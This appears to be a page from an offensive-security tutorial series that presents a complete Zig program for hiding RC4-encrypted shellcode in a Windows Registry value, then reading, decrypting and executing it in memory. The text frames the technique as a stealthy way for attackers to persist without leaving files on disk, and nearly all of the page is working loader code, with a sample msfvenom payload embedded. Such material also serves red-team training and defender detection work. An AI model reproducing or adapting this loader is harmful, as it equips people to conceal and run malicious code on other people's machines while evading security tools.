Using Windows Registry
TL;DR
See the code example Another staging mechanism is to hide the payload inside the Windows Registry. Malware can write encrypted shellcode to a registry value and later read it back when execution is desired. Because registry entries are less scrutinized than files on disk, this method provides a stealthy form of persistence. The example offers both write and read modes, demonstrating how to store the payload under a selected key and then execute it from memory. Leveraging the registry in this way allows attackers to avoid leaving obvious artifacts on the filesystem.
Code Walkthrough
main.zig
const std = @import("std");
const windows = std.os.windows;
const print = std.debug.print;
const kernel32 = windows.kernel32;
// Uncomment one of the following to enable the read/write mode
const WRITEMODE = true; // Changed to false for READ MODE
const READMODE = !WRITEMODE; // Changed to true for READ MODE
// I/O registry key to read/write
const REGISTRY = "Control Panel";
const REGSTRING = "Black-Hat-Zig";
// Windows API types
const HANDLE = windows.HANDLE;
const DWORD = windows.DWORD;
const BOOL = windows.BOOL;
const LPVOID = *anyopaque;
const PVOID = *anyopaque;
const PBYTE = [*]u8;
const SIZE_T = usize;
const LSTATUS = i32;
const NTSTATUS = i32;
// Registry constants
const HKEY_CURRENT_USER = @as(windows.HKEY, @ptrFromInt(0x80000001));
const KEY_SET_VALUE = 0x0002;
const REG_BINARY = 3;
const RRF_RT_ANY = 0x0000FFFF;
const ERROR_SUCCESS = 0;
// Memory constants
const MEM_COMMIT = 0x1000;
const MEM_RESERVE = 0x2000;
const PAGE_READWRITE = 0x04;
const PAGE_EXECUTE_READWRITE = 0x40;
const HEAP_ZERO_MEMORY = 0x00000008;
// USTRING structure for SystemFunction032
const USTRING = extern struct {
Length: DWORD,
MaximumLength: DWORD,
Buffer: PVOID,
};
// Windows API function declarations
extern "kernel32" fn GetLastError() callconv(.C) DWORD;
extern "kernel32" fn GetProcessHeap() callconv(.C) HANDLE;
extern "kernel32" fn HeapAlloc(hHeap: HANDLE, dwFlags: DWORD, dwBytes: SIZE_T) callconv(.C) ?LPVOID;
extern "kernel32" fn HeapFree(hHeap: HANDLE, dwFlags: DWORD, lpMem: LPVOID) callconv(.C) BOOL;
extern "kernel32" fn VirtualAlloc(lpAddress: ?LPVOID, dwSize: SIZE_T, flAllocationType: DWORD, flProtect: DWORD) callconv(.C) ?LPVOID;
extern "kernel32" fn VirtualProtect(lpAddress: LPVOID, dwSize: SIZE_T, flNewProtect: DWORD, lpflOldProtect: *DWORD) callconv(.C) BOOL;
extern "kernel32" fn CreateThread(lpThreadAttributes: ?*anyopaque, dwStackSize: SIZE_T, lpStartAddress: *const fn (?LPVOID) callconv(.C) DWORD, lpParameter: ?LPVOID, dwCreationFlags: DWORD, lpThreadId: ?*DWORD) callconv(.C) ?HANDLE;
extern "kernel32" fn LoadLibraryA(lpLibFileName: [*:0]const u8) callconv(.C) ?HANDLE;
extern "kernel32" fn GetProcAddress(hModule: HANDLE, lpProcName: [*:0]const u8) callconv(.C) ?*anyopaque;
extern "advapi32" fn RegOpenKeyExA(hKey: windows.HKEY, lpSubKey: [*:0]const u8, ulOptions: DWORD, samDesired: DWORD, phkResult: *windows.HKEY) callconv(.C) LSTATUS;
extern "advapi32" fn RegSetValueExA(hKey: windows.HKEY, lpValueName: [*:0]const u8, Reserved: DWORD, dwType: DWORD, lpData: [*]const u8, cbData: DWORD) callconv(.C) LSTATUS;
extern "advapi32" fn RegGetValueA(hKey: windows.HKEY, lpSubKey: ?[*:0]const u8, lpValue: [*:0]const u8, dwFlags: DWORD, pdwType: ?*DWORD, pvData: ?LPVOID, pcbData: *DWORD) callconv(.C) LSTATUS;
extern "advapi32" fn RegCloseKey(hKey: windows.HKEY) callconv(.C) LSTATUS;
// Helper function to wait for Enter key
fn waitForEnter() void {
var buffer: [256]u8 = undefined;
_ = std.io.getStdIn().reader().readUntilDelimiterOrEof(buffer[0..], '\n') catch {};
}
const fnSystemFunction032 = fn (
Data: *USTRING,
Key: *USTRING,
) callconv(.C) NTSTATUS;
/// Helper function that calls SystemFunction032 (RC4)
/// Reference: https://osandamalith.com/2022/11/10/encrypting-shellcode-using-systemfunction032-033/
pub fn rc4EncryptionViaSystemFunc032(
rc4Key: []u8,
payloadData: []u8,
) bool {
// Prepare the USTRING structs
var Data = USTRING{
.Buffer = payloadData.ptr,
.Length = @intCast(payloadData.len),
.MaximumLength = @intCast(payloadData.len),
};
var Key = USTRING{
.Buffer = rc4Key.ptr,
.Length = @intCast(rc4Key.len),
.MaximumLength = @intCast(rc4Key.len),
};
// Convert "Advapi32" to UTF-16LE for LoadLibraryW
const advapi32_w = std.unicode.utf8ToUtf16LeStringLiteral("Advapi32");
const advapi32 = kernel32.LoadLibraryW(advapi32_w);
if (advapi32 == null) {
std.debug.print("[!] LoadLibraryW failed: {}\n", .{kernel32.GetLastError()});
return false;
}
defer _ = kernel32.FreeLibrary(advapi32.?);
const proc_addr = kernel32.GetProcAddress(advapi32.?, "SystemFunction032");
if (proc_addr == null) {
std.debug.print("[!] GetProcAddress failed: {}\n", .{kernel32.GetLastError()});
return false;
}
const SystemFunction032: *const fnSystemFunction032 = @ptrCast(proc_addr);
const status: NTSTATUS = SystemFunction032(&Data, &Key);
if (status != 0) {
std.debug.print("[!] SystemFunction032 FAILED With Error: 0x{X:0>8}\n", .{status});
return false;
}
return true;
}
// RC4 key - CHANGED: Made it a var so we can create a mutable copy
var RC4_KEY = [_]u8{
0x8B, 0x9E, 0x3F, 0xC0, 0x3E, 0x31, 0xBF, 0xCF, 0xA5, 0x83, 0x7C, 0xC8, 0x6A, 0x61, 0x96, 0x9A,
};
// Msfvenom x64 calc shellcode encrypted by HellShell [RC4]
const RC4_CIPHER_TEXT = [_]u8{
0x3F, 0x8C, 0x01, 0xCA, 0x70, 0x80, 0x3F, 0x6B, 0xE3, 0x7B, 0x77, 0xF2, 0x05, 0x77, 0x0E, 0x97,
0x01, 0xD4, 0x45, 0x48, 0x65, 0xAA, 0x64, 0xD1, 0x04, 0xA1, 0xEB, 0xDF, 0x6E, 0x3C, 0x86, 0xDF,
0x53, 0x89, 0xD4, 0x33, 0x87, 0x09, 0x9D, 0xF5, 0xB0, 0x25, 0xA3, 0xB0, 0xFA, 0x47, 0xA1, 0x8B,
0x54, 0x36, 0x5D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0xD6, 0xDB, 0x43, 0x1F, 0x03, 0x31,
0x6E, 0x91, 0x87, 0x9A, 0xDC, 0x12, 0xE7, 0x3C, 0xBA, 0x94, 0x79, 0xA7, 0x19, 0xAF, 0xBB, 0xE5,
0x0B, 0x0F, 0xF5, 0xB9, 0x41, 0xD4, 0x4C, 0x8B, 0x63, 0xAF, 0xEE, 0xC8, 0xAF, 0x7C, 0xC9, 0xBE,
};
// Function that reads the payload from the registry key
fn readShellcodeFromRegistry() ![]u8 {
var dw_bytes_read: DWORD = 0;
// Fetching the payload's size
var status = RegGetValueA(HKEY_CURRENT_USER, REGISTRY, REGSTRING, RRF_RT_ANY, null, null, &dw_bytes_read);
if (status != ERROR_SUCCESS) {
print("[!] RegGetValueA Failed With Error : {d}\n", .{status});
return error.RegGetValueFailed;
}
// Allocating heap that will store the payload that will be read
const p_bytes = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dw_bytes_read) orelse {
print("[!] HeapAlloc Failed With Error : {d}\n", .{GetLastError()});
return error.HeapAllocFailed;
};
// Reading the payload from "REGISTRY" key, from value "REGSTRING"
status = RegGetValueA(HKEY_CURRENT_USER, REGISTRY, REGSTRING, RRF_RT_ANY, null, p_bytes, &dw_bytes_read);
if (status != ERROR_SUCCESS) {
print("[!] RegGetValueA Failed With Error : {d}\n", .{status});
_ = HeapFree(GetProcessHeap(), 0, p_bytes);
return error.RegGetValueFailed;
}
return @as([*]u8, @ptrCast(p_bytes))[0..dw_bytes_read];
}
// Function that writes the payload to the registry key
fn writeShellcodeToRegistry(shellcode: []const u8) !void {
var h_key: windows.HKEY = undefined;
print("[i] Writing 0x{X} [ Size: {d} ] to \"{s}\\{s}\" ... \n", .{ @intFromPtr(shellcode.ptr), shellcode.len, REGISTRY, REGSTRING });
// Opening handle to "REGISTRY" registry key
var status = RegOpenKeyExA(HKEY_CURRENT_USER, REGISTRY, 0, KEY_SET_VALUE, &h_key);
if (status != ERROR_SUCCESS) {
print("[!] RegOpenKeyExA Failed With Error : {d}\n", .{status});
return error.RegOpenKeyFailed;
}
defer _ = RegCloseKey(h_key);
// Creating string value "REGSTRING" and writing the payload to it as a binary value
status = RegSetValueExA(h_key, REGSTRING, 0, REG_BINARY, shellcode.ptr, @intCast(shellcode.len));
if (status != ERROR_SUCCESS) {
print("[!] RegSetValueExA Failed With Error : {d}\n", .{status});
return error.RegSetValueFailed;
}
print("[+] DONE ! \n", .{});
}
// Local shellcode execution
fn runShellcode(decrypted_shellcode: []const u8) !void {
const shellcode_address = VirtualAlloc(null, decrypted_shellcode.len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE) orelse {
print("[!] VirtualAlloc Failed With Error : {d} \n", .{GetLastError()});
return error.VirtualAllocFailed;
};
print("[i] Allocated Memory At : 0x{X} \n", .{@intFromPtr(shellcode_address)});
@memcpy(@as([*]u8, @ptrCast(shellcode_address))[0..decrypted_shellcode.len], decrypted_shellcode);
var old_protection: DWORD = 0;
if (VirtualProtect(shellcode_address, decrypted_shellcode.len, PAGE_EXECUTE_READWRITE, &old_protection) == 0) {
print("[!] VirtualProtect Failed With Error : {d} \n", .{GetLastError()});
return error.VirtualProtectFailed;
}
print("[#] Press <Enter> To Run ... ", .{});
waitForEnter();
const thread_handle = CreateThread(null, 0, @ptrCast(shellcode_address), null, 0, null) orelse {
print("[!] CreateThread Failed With Error : {d} \n", .{GetLastError()});
return error.CreateThreadFailed;
};
_ = thread_handle;
}
pub fn main() !void {
if (comptime WRITEMODE) {
// Write the shellcode to the registry
print("[#] Press <Enter> To Write The Shellcode To The Registry...", .{});
waitForEnter();
writeShellcodeToRegistry(&RC4_CIPHER_TEXT) catch |err| {
print("[!] Failed to write shellcode to registry: {}\n", .{err});
std.process.exit(1);
};
}
if (comptime READMODE) {
print("[#] Press <Enter> To Read The Shellcode From The Registry...", .{});
waitForEnter();
// Read the shellcode
print("[i] Reading Shellcode ... \n", .{});
const payload_bytes = readShellcodeFromRegistry() catch |err| {
print("[!] Failed to read shellcode from registry: {}\n", .{err});
std.process.exit(1);
};
defer _ = HeapFree(GetProcessHeap(), 0, @ptrCast(payload_bytes.ptr));
print("[+] DONE \n", .{});
print("[+] Payload Of Size [{d}] Read At : 0x{X} \n", .{ payload_bytes.len, @intFromPtr(payload_bytes.ptr) });
// Decrypting the shellcode
print("[#] Press <Enter> To Decrypt The Shellcode ...", .{});
waitForEnter();
print("[i] Decrypting Shellcode ... \n", .{});
// FIXED: Pass RC4_KEY as a slice instead of pointer to array
if (!rc4EncryptionViaSystemFunc032(RC4_KEY[0..], payload_bytes)) {
print("[!] Failed to decrypt shellcode\n", .{});
std.process.exit(1);
}
print("[+] DONE \n", .{});
// Running the shellcode
runShellcode(payload_bytes) catch |err| {
print("[!] Failed to execute shellcode: {}\n", .{err});
std.process.exit(1);
};
}
print("[#] Press <Enter> To Quit ...", .{});
waitForEnter();
}